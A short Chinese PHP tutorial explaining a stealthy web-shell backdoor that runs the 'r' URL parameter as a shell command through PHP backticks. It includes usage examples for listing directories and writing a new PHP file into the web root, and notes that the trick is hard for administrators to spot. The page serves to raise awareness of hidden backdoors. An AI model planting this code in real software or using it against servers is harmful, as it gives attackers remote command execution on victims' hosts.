>php教程 >php手册 >一个不易被发现的PHP后门代码解析

一个不易被发现的PHP后门代码解析

WBOY
WBOY원래의
2016-06-06 20:20:351359검색

这篇文章主要介绍了一个不易被发现的PHP后门代码解析,对于网络安全来说非常重要,需要的朋友可以参考下

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,,很容易被管理员忽略。

$selfNums = $_GET['r']; if (isset($selfNums)){ echo `$selfNums`; }

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

?r=dir 可以列出目录

?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.